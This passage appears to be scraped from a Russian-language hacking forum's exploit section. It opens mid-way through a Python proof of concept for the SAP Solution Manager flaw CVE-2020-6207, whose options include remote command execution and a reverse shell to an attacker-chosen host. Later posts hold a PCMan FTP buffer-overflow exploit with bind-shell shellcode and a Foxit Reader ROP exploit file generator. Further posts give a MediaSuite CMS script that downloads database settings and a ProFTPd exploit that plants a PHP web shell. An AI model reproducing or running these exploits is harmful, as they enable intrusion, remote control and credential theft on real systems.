'stopScript':'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:stopScript>
         <agentName></agentName>
         <scriptName></scriptName>
      </adm:stopScript>
   </soapenv:Body>
</soapenv:Envelope>''',

'deleteScript':'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:deleteScript>
         <agentName></agentName>
         <scriptName></scriptName>
      </adm:deleteScript>
   </soapenv:Body>
</soapenv:Envelope>''',

'setServerName':'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:setServerName>
         <hostName></hostName>
         <instanceName></instanceName>
         <newServerName></newServerName>
      </adm:setServerName>
   </soapenv:Body>
</soapenv:Envelope>''',

}

def makeRequest(payload):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6207 PoC",
        "Content-Type": "text/xml;charset=UTF-8",
        "SOAPAction": ""}
    ans = requests.post(base_url + eemURL, headers=headers, proxies=proxies, timeout=timeout,
                        data=payload,
                        allow_redirects=False, verify=False)
    return ans

def getAllAgentInfo():
    customPrint("Sending getAllAgentInfo()...")
    root = ET.fromstring(wsdlMethods['getAllAgentInfo'])
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def getAgentInfo(agents):
    customPrint(f"Sending getAgentInfo({agents})...")
    root = ET.fromstring(wsdlMethods['getAgentInfo'])
    root.find('.//agents').text = agents
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def uploadResource(agentName, content, scriptName, fileName = "script.http.xml", scenarioName=f'PoCScenario{(random.randint(1, 10000))}', scope = "Script"):
    customPrint(f"Sending uploadResource(). ScriptName:{scriptName}...")
    content  = base64.b64encode(content.encode('ascii')).decode('ascii')
    root = ET.fromstring(wsdlMethods['uploadResource'])
    root.find('.//agentName').text = agentName
    root.find('.//content').text = content
    root.find('.//fileName').text = fileName
    root.find('.//scenarioName').text = scenarioName
    root.find('.//scope').text = scope
    root.find('.//scriptName').text = scriptName
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def setAgeletProperties(agentName, key, value):
    customPrint(f"Sending setAgeletProperties({agentName}, {key}, {value})...")
    root = ET.fromstring(wsdlMethods['setAgeletProperties'])
    root.find('.//agentName').text = agentName
    root.find('.//key').text = key
    root.find('.//value').text = value
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def stopScript(agentName, scriptName):
    customPrint(f"Sending stopScript({agentName},{scriptName})...")
    root = ET.fromstring(wsdlMethods['stopScript'])
    root.find('.//agentName').text = agentName
    root.find('.//scriptName').text = scriptName
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def deleteScript(agentName, scriptName):
    customPrint(f"Sending deleteScript({agentName},{scriptName})...")
    root = ET.fromstring(wsdlMethods['deleteScript'])
    root.find('.//agentName').text = agentName
    root.find('.//scriptName').text = scriptName
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def setServerName(hostName, instanceName, newServerName):
    customPrint(f"Sending setServerName({hostName},{instanceName},{newServerName})...")
    root = ET.fromstring(wsdlMethods['setServerName'])
    root.find('.//hostName').text = hostName
    root.find('.//instanceName').text = instanceName
    root.find('.//newServerName').text = newServerName
    payload = ET.tostring(root, encoding='utf8', method='xml')
    resp = makeRequest(payload)
    return resp

def detect_vuln(base_url):
    is_vulnerable = False
    status = 'Not Vulnerable!'
    ans = getAllAgentInfo()
    status_code = ans.status_code
    if status_code == 200:
        is_vulnerable = True
        status = 'Vulnerable! [CVE-2020-6207]'
    print("%s - %s" % (status, base_url))
    return {"status": is_vulnerable}

def customPrint(prnt):
    if args.verbose:
        print(f"[INFO] {prnt}")

def getAllAgentsPretty():
    # Getting available SMD agents
    customPrint("Getting available agents...")
    resp = getAllAgentInfo()
    if resp.status_code != 200:
        print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code")
        exit(1)
    agentsResp = ET.fromstring(resp.content)
    for agent in agentsResp[0][0]:
        os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find(
            ".//systemProperties/[key='os.name']") is not None else ""
        jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find(
            ".//systemProperties/[key='java.version']") is not None else ""
        agentVal = {
            'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}',
            'hostName': f'{agent.find("hostName").text}',
            'instanceName': f'{agent.find("instanceName").text}',
            'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}',
            'os': f'{os_val}',
            'java': f'{jvm_val}',
        }
        agents.append(agentVal)
    if len(agents):
        x = PrettyTable()
        x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"]
        for agent in agents:
            x.add_row(agent.values())
        print(x)
        return agents

def executeScript(payload, clear = True):
    customPrint(f"Executing new script.Payload:\n{payload}")
    if not args.victim:
        getAllAgentsPretty()
        print("If DA doesn't have a serverName you can setup using '--setup' option of that PoC")
        args.victim = input("Enter DA serverName:")
    else:
        print("There is no available DA connected to SAP SM")
        exit(1)
    # Enable EEM
    resp = setAgeletProperties(args.victim, "eem.enable", "True")
    if resp.status_code != 200:
        print(f"Something wrong with setAgeletProperties(). Got {resp.status_code} status code")
        exit(1)
    scriptName = f"PoCScript{random.randint(5000, 10000)}"
    resp = uploadResource(args.victim, payload, scriptName)
    if resp.status_code != 200:
        print(f"Something wrong with uploadResource(). Got {resp.status_code} status code")
        exit(1)
    # Now let's clear the server
    ## Stop our Script
    if clear:
        # We can't stop script while backconnect works
        resp = stopScript(args.victim, scriptName)
        if resp.status_code != 200:
            print(f"Something wrong with stopScript(). Got {resp.status_code} status code")
            exit(1)
        ## Delete our script
        resp = deleteScript(args.victim, scriptName)
        if resp.status_code != 200:
            print(f"Something wrong with deleteScript(). Got {resp.status_code} status code")
            exit(1)
    print("[!] Done")
    return

def clearAfter():
    if not args.victim:
        # Getting available SMD agents
        customPrint("Getting available agents...")
        resp = getAllAgentInfo()
        if resp.status_code != 200:
            print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code")
            exit(1)
        agentsResp = ET.fromstring(resp.content)
        for agent in agentsResp[0][0]:
            os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find(
                ".//systemProperties/[key='os.name']") is not None else ""
            jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find(
                ".//systemProperties/[key='java.version']") is not None else ""
            agentVal = {
                'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}',
                'hostName': f'{agent.find("hostName").text}',
                'instanceName': f'{agent.find("instanceName").text}',
                'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}',
                'os': f'{os_val}',
                'java': f'{jvm_val}',
            }
            agents.append(agentVal)
        if len(agents):
            x = PrettyTable()
            x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"]
            for agent in agents:
                x.add_row(agent.values())
            print(x)
            args.victim = input("Enter DA serverName:")
        else:
            print("There is no available DA connected to SAP SM")
            exit(1)
    resp = getAgentInfo(args.victim)
    if resp.status_code != 200:
        print(f"Something wrong with getAgentInfo(). Got {resp.status_code} status code")
        exit(1)
    agentsResp = ET.fromstring(resp.content)
    ourScript = []
    for our in agentsResp[0][0].findall(".//agentProperties/key"):
        if "eem/Script/PoCScript" in our.text:
            ourScript.append(our.text.split('/')[2])
    if not len(ourScript):
        print("Nothing to clear")
        exit(1)
    else:
        print(f"Found these artifacts: {', '.join(ourScript)}")
    print("Deleting...")
    for script in ourScript:
        resp = stopScript(args.victim, script)
        if resp.status_code != 200:
            print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code")
            exit(1)
        resp = deleteScript(args.victim, script)
        if resp.status_code != 200:
            print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code")
            exit(1)
    print("Done!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP Solution Manager host(default: 127.0.0.1)')
    parser.add_argument('-P', '--port', default=50000, type=int, help='SAP Solution Manager web port (default: tcp/50000)')
    parser.add_argument('-p', '--proxy', help='Use proxy (ex: 127.0.0.1:8080)')
    parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL')
    parser.add_argument('-c', '--check', action='store_true', help='just detect vulnerability')
    parser.add_argument('-d', '--victim', help='DA serverName')
    parser.add_argument('--ssrf', help='exploit SSRF. Point http address here. (example:http://1.1.1.1/chpk)')
    parser.add_argument('--rce', help='exploit RCE')
    parser.add_argument('--back', help='get backConnect from DA. (ex: 1.1.1.1:1337)')
    parser.add_argument('--setup', help='setup a random serverName to the DA with the given hostName and instanceName. (example: javaup.mshome.net,SMDA97)')
    parser.add_argument('--list', action='store_true', help='Get a list of existing DA servers')
    parser.add_argument('--clear', action='store_true', help='stop and delete all PoCScript<rnd> scripts from DA servers')
    parser.add_argument('-t', '--timeout', default=10, type=int, help='HTTP connection timeout in second (default: 10)')
    parser.add_argument('-v', '--verbose', action='store_true', help='verbose mode')
    args = parser.parse_args()
    timeout = args.timeout

    proxies = {}
    verify = True
    agents = []
    if args.proxy:
        verify = False
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }
    if args.ssl:
        base_url = "https://%s:%s" % (args.host, args.port)
    else:
        base_url = "http://%s:%s" % (args.host, args.port)
    if args.check:
        detect_vuln(base_url)
        exit()
    if args.ssrf:
        # Prepare ssrf payload
        customPrint(f"Will send SSRF on {args.ssrf}")
        payload = f'<?xml version="1.0" encoding="UTF-8"?><Script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" editorversion="7.10.1.0.20101027150712" exetype="xml" hrtimestamp="2010.10.27 15:11:20 CEST" name="simple_secure" timestamp="1288185080821" type="http" version="1.1" xsi:noNamespaceSchemaLocation="http://www.sap.com/solman/eem/script1.1"><TransactionStep id="1" name="dummy"><Message activated="true" id="2" method="GET" name="index" type="ServerRequest" url="{args.ssrf}" version="HTTP/1.1"></Message></TransactionStep></Script>'
        executeScript(payload)
    if args.rce:
        # Prepare RCE payload
        customPrint(f"Will trigger {args.rce}")
        pload = f"Packages.java.lang.Runtime.getRuntime().exec('{args.rce}').waitFor();"
        payload = f'<?xml version="1.0" encoding="UTF-8"?><Script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" editorversion="7.10.1.0.20101027150712" exetype="xml" hrtimestamp="2010.10.27 15:11:20 CEST" name="chpk" timestamp="1288185080821" type="http" version="1.1" xsi:noNamespaceSchemaLocation="http://www.sap.com/solman/eem/script1.1"><TransactionStep id="1" name="dummy"><Message activated="true" id="2" type="Command" url="" name="AssignJS" method="AssignJS" ><Param name = "expression" value="{pload}" /><Param name = "variable" value="chpk" /></Message></TransactionStep></Script>'
        executeScript(payload)
    if args.back:
        # Prepare back connect
        customPrint(f"Let's get backConnect to {args.back}")
        osType = input("What is the DA OS (win/nix)?:")
        if osType == "win":
            shell = "cmd.exe"
        else:
            shell = "/bin/bash"
        bip = args.back.split(':')[0]
        bport = int(args.back.split(':')[1])
        print(f"Run 'netcat -l -p {bport}' on {bip}")
        pload = f"var p = new Packages.java.lang.ProcessBuilder('{shell}').redirectErrorStream(true).start();var s= new Packages.java.net.Socket('{bip}',{bport});var pi=new Packages.java.io.BufferedInputStream(p.getInputStream());var pe= new Packages.java.io.BufferedInputStream(p.getErrorStream());var si= new Packages.java.io.BufferedInputStream(s.getInputStream());var po= new Packages.java.io.BufferedOutputStream(p.getOutputStream());var so= new Packages.java.io.BufferedOutputStream(s.getOutputStream());while(!s.isClosed()){{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Packages.java.lang.Thread.sleep(50);}};p.destroy();s.close();"
        payload = f'<?xml version="1.0" encoding="UTF-8"?><Script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" editorversion="7.10.1.0.20101027150712" exetype="xml" hrtimestamp="2010.10.27 15:11:20 CEST" name="chpk" timestamp="1288185080821" type="http" version="1.1" xsi:noNamespaceSchemaLocation="http://www.sap.com/solman/eem/script1.1"><TransactionStep id="1" name="dummy"><Message activated="true" id="2" type="Command" url="" name="AssignJS" method="AssignJS" ><Param name = "expression" value="{pload}" /><Param name = "variable" value="chpk" /></Message></TransactionStep></Script>'
        print("Don't forget to stop and delete script!")
        executeScript(payload, False)
    if args.clear:
        customPrint(f"Let's clear the server...")
        clearAfter()
    if args.setup:
        customPrint(f"Setting up a serverName for the {args.setup}")
        if len(args.setup.split(',')) !=2:
            print("Wrong '--setup' options. Please specify target like this: 'javaup.mshome.net,SMDA97' or enter values below")
            getAllAgentsPretty()
            hostName = input("hostName:")
            instanceName = input("instanceName:")
        else:
            hostName = args.setup.split(',')[0]
            instanceName = args.setup.split(',')[1]
        newServerName = f"PoCName{(random.randint(1, 10000))}"
        print(f"Setup new serverName {newServerName} for {hostName}")
        resp = setServerName(hostName, instanceName, newServerName)
        if resp.status_code != 200:
            print(f"Something wrong with setServerName({hostName}, {instanceName}, {newServerName}). Got {resp.status_code} status code")
            exit(1)
    if args.list:
        getAllAgentsPretty()

Источник: https://github.com/chipik/SAP_EEM_CVE-2020-6207

RCE, Windows 10 1903, Internet Explorer 11, CVE-2020-1062
ID: 67686ba3b4103b69df379cba
Thread ID: 39487
Created: 2020-07-10T18:18:40+0000
Last Post: 2020-07-10T18:18:40+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 1K

PoC https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-1062/PoC
Инфа: [https://www.accenture.com/us-en/blo...ase-study- cve-2020-1062-vulnerability-in-ie11](https://www.accenture.com/us- en/blogs/cyber-defense/exploitation-case-study-cve-2020-1062-vulnerability-in- ie11)

Universal Plug and Play (UPnP), CVE-2020-12695, CallStranger
ID: 67686ba3b4103b69df379cbd
Thread ID: 38283
Created: 2020-06-09T17:47:14+0000
Last Post: 2020-06-09T17:47:14+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 1K

https: //github.com/yunuscadirci/CallStranger
https: //www.callstranger.com
[https: //www.tenable.com/blog/cve-2020-12695-callstranger-vulnerability-in- universal-plug-and-play-upnp-puts-billions- of](https://www.tenable.com/blog/cve-2020-12695-callstranger-vulnerability-in- universal-plug-and-play-upnp-puts-billions-of)
[www.openwall.com/lists/oss- security/2020/06/08/2](http://www.openwall.com/lists/oss- security/2020/06/08/2)

PCMan FTP Server 2.0.7
ID: 67686ba3b4103b69df379d14
Thread ID: 26019
Created: 2015-08-08T07:59:31+0000
Last Post: 2015-08-08T07:59:31+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# title: PCMan FTP Server v2.0.7 Buffer Overflow - PUT Command
# author: @shipcod3 (Jay Turla)
# nc <host> 9988
# Tested on Windows XP Service Pack 3 - English
# description: Buffer overflow is triggered upon sending long string using the command PUT to PCMAN FTP 2.07 
  
import socket
import sys
 
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
 
 
buffer = "\x90" * 30 + shellcode 
#77c35459 : push esp # ret  |  {PAGE_EXECUTE_READ} [msvcrt.dll]
evil = "A"*2008 + "\x59\x54\xC3\x77" + buffer + "C"*(888-len(buffer))
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((raw_input('Enter Host:'),21))
  
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('PUT ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Foxit Reader 7.1.5 Arbitrary Code Execution
ID: 67686ba3b4103b69df379d15
Thread ID: 26010
Created: 2015-07-31T03:48:24+0000
Last Post: 2015-07-31T03:48:24+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution
# Date: 07/07/2015
# Exploit Author: Sascha Schirra
# Vendor Homepage: https://www.foxitsoftware.com
# Software Link: https://www.foxitsoftware.com/downloads/
# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8
# Tested on: Windows 7 SP1
# Vendor informed and bug confirmed: July 08th, 2015
 
"""
This is a PoC (ASLR/DEP bypass)
For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR
For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.
This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.
The first of them triggers the vulnerability and the second one contains a ropchain and shellcode.
"""
 
import binascii
import struct
import re
import sys
 
p = lambda x:struct.pack('I', x)
 
if len(sys.argv) < 2:
    print('usage: %s <pngfile>' % sys.argv[0])
    exit()
 
print('Open file: %s' % sys.argv[1])
with open(sys.argv[1],'rb') as f:
    data = f.read()
 
m = re.search('tEXt', data)
if not m:
    print('No tEXt chunk')
    exit()
print('tEXt chunk found')
start = data[:m.start()-4]
length = struct.unpack('>I', data[m.start()-4:m.start()])[0]
end = data[m.end()+length + 4:]
 
vulnChunk = 'tEXt\0' # vulnerable because of the missing keyword
vulnChunk += 'A'*8
vulnChunk += p(0x10041a14) # xchg eax, ecx; ret;
vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;
vulnChunk += 'AAAA'
vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;
vulnChunk += 'A'*16
vulnChunk += '\x0a\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.
 
 
vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.
vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))
 
secondChunk = 'AAA\0'*(580) 
secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]
secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;
secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;
secondChunk += 'AAAA'*2
secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];
 
 
# calc shellcode - metasploit
buf =  "\x83\xc4\xce"
buf += "\xda\xc8\xbb\x15\xee\x3a\x64\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x30\x31\x5d\x18\x83\xed\xfc\x03\x5d\x01\x0c"
buf += "\xcf\x98\xc1\x52\x30\x61\x11\x33\xb8\x84\x20\x73\xde"
buf += "\xcd\x12\x43\x94\x80\x9e\x28\xf8\x30\x15\x5c\xd5\x37"
buf += "\x9e\xeb\x03\x79\x1f\x47\x77\x18\xa3\x9a\xa4\xfa\x9a"
buf += "\x54\xb9\xfb\xdb\x89\x30\xa9\xb4\xc6\xe7\x5e\xb1\x93"
buf += "\x3b\xd4\x89\x32\x3c\x09\x59\x34\x6d\x9c\xd2\x6f\xad"
buf += "\x1e\x37\x04\xe4\x38\x54\x21\xbe\xb3\xae\xdd\x41\x12"
buf += "\xff\x1e\xed\x5b\x30\xed\xef\x9c\xf6\x0e\x9a\xd4\x05"
buf += "\xb2\x9d\x22\x74\x68\x2b\xb1\xde\xfb\x8b\x1d\xdf\x28"
buf += "\x4d\xd5\xd3\x85\x19\xb1\xf7\x18\xcd\xc9\x03\x90\xf0"
buf += "\x1d\x82\xe2\xd6\xb9\xcf\xb1\x77\x9b\xb5\x14\x87\xfb"
buf += "\x16\xc8\x2d\x77\xba\x1d\x5c\xda\xd0\xe0\xd2\x60\x96"
buf += "\xe3\xec\x6a\x86\x8b\xdd\xe1\x49\xcb\xe1\x23\x2e\x23"
buf += "\xa8\x6e\x06\xac\x75\xfb\x1b\xb1\x85\xd1\x5f\xcc\x05"
buf += "\xd0\x1f\x2b\x15\x91\x1a\x77\x91\x49\x56\xe8\x74\x6e"
buf += "\xc5\x09\x5d\x0d\x88\x99\x3d\xd2"
 
 
shellcode=buf
rop = ''
# Write Size to data section
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa004) # data section
rop += p(0x100012ca) #pop ecx; ret
rop += p(0x1000)
 
# Write baseaddr (esp) to data section
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa008) # data section
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
rop += p(0xdeadc0de)
 
# dereference syscall and call it
rop += p(0x1002d346) #pop eax; ret
rop += p(0x7ffe0300) # fastsyscall
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0xd7) #syscall
rop += p(0x10081541) #push ecx;cld; ret
 
rop += p(0x100801f5) # 6xpop; ret
rop += p(0xdeadc0de)
rop += p(0xffffffff)
rop += p(0x100aa008) # datasection Pointer to baseaddress
rop += p(0x100aa004) # datasection Pointer to size
rop += p(0x40)
rop += p(0x100aa00c)
rop += p(0x1006c63b) # push esp, ret
 
rop += shellcode
 
secondChunk +=rop
secondChunk += 'A'*4000
secondChunk = secondChunk[:4000] 
 
secondChunkLen = struct.pack('>i', len(secondChunk)+1) 
secondChunk = 'tEXt'+'\0'+secondChunk
secondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))
 
with open('exploit_'+sys.argv[1],'wb') as f:
    f.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)
 
print('Exploit file created: %s' % ('exploit_'+sys.argv[1]))

Источник:[https://packetstormsecurity.com/files/13285...-Execution.html](https://packetstormsecurity.com/files/132854/Foxit- Reader-7.1.5-Arbitrary-Code-Execution.html)

Мной не тестилось....

MediaSuite CMS Artibary File Disclosure Exploit
ID: 67686ba3b4103b69df379d1d
Thread ID: 25803
Created: 2015-04-22T08:00:37+0000
Last Post: 2015-04-22T08:00:37+0000
Author: krest
Prefix: Web
Replies: 0 Views: 1K

MediaSuite CMS Artibary File Disclosure Exploit

При неправильной конфигурации CMS, используя данный эксплоит, возможно получить конфиденциальную информацию, например, пароли доступа к БД.

Code:Copy to clipboard

use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('title MediaSuite CMS - Artibary File Disclosure Exploit');
system('color 2');
if(@ARGV < 2)
{
print "[-]Su Sekilde Kocum. \n\n";
&help; exit();
}
sub help()
{
print "[+] Usaqe : perl $0 Target /path/ \n";
print "[+] Usage : perl $0 localhost / \n";
}
print "\n************************************************************************\n";
print "\* MediaSuite CMS - Artibary File Disclosure Exploit *\n";
print "\* Exploit coded by : KnocKout *\n";
print "\* Contact : twitter.com/h4SEC *\n";
print "\* -- *\n";
print "\*********************************************************************\n\n\n";
($TargetIP, $path, $File,) = @ARGV;
$File="includes/force-download.php?type=1&file=../includes/site-settings.php";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Biraz Bekle. \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "site-settings.php");
if ($request->is_success)
{
print "[+] Exploit Basarili, kodlayanin eline saglik \n\n";
print "[+] Exploit Basarili. !\n";
print "[+] Database bilgilerinin yer aldigi (site-settings.php) dosyasi indirildi. \n";
print "[+] h4 SEC \n";
print "[+] Special tnX : ZoRLu, _UnDeRTaKeR, DaiMon, VoLqaN, BARCOD3, Septemb0x, EthicalHacker
\n";
exit();
}
else
{
print "[!] Exploit $url Basarisiz !\n[!] ".$request->status_line."\n";
exit();
}

Запуск скрипта:

Code:Copy to clipboard

$perl exploit.pl site.com /

В результате получаем файл site-settings.php

ProFTPd 1.3.5
ID: 67686ba3b4103b69df379d1e
Thread ID: 25799
Created: 2015-04-21T19:19:34+0000
Last Post: 2015-04-21T19:19:34+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd' #Uses
else:
    server = sys.argv[1] #Vulnerable Server
    directory = sys.argv[2] # Path accessible from web .....
    cmd = sys.argv[3] #PHP payload to be executed
    evil = '<?php system("' + cmd + '") ?>'
    s.connect((server, 21))
    s.recv(1024)
    print '[ + ] Connected to server [ + ] \n'
    s.send('site cpfr /etc/passwd')
    s.recv(1024)
    s.send('site cpto ' + evil)
    s.recv(1024)
    s.send('site cpfr /proc/self/fd/3')
    s.recv(1024)
    s.send('site cpto ' + directory + 'infogen.php')
    s.recv(1024)
    s.close()
    print '[ + ] Payload sended [ + ]\n'
    print '[ + ] Executing Payload [ + ]\n'
    r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
    if (r.status_code == 200):
        print '[ * ] Payload Executed Succesfully [ * ]'
    else:
        print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
         
print '\n http://infogen.al/'
Wordpress Ajax Store Locator <= 1.2 SQL Injection
ID: 67686ba3b4103b69df379d20
Thread ID: 25783
Created: 2015-04-17T07:25:12+0000
Last Post: 2015-04-17T07:25:12+0000
Author: krest
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

######################
 
# Exploit Title : Wordpress Ajax Store Locator <= 1.2 SQL Injection Vulnerability
 
# Exploit Author : Claudio Viviani
 
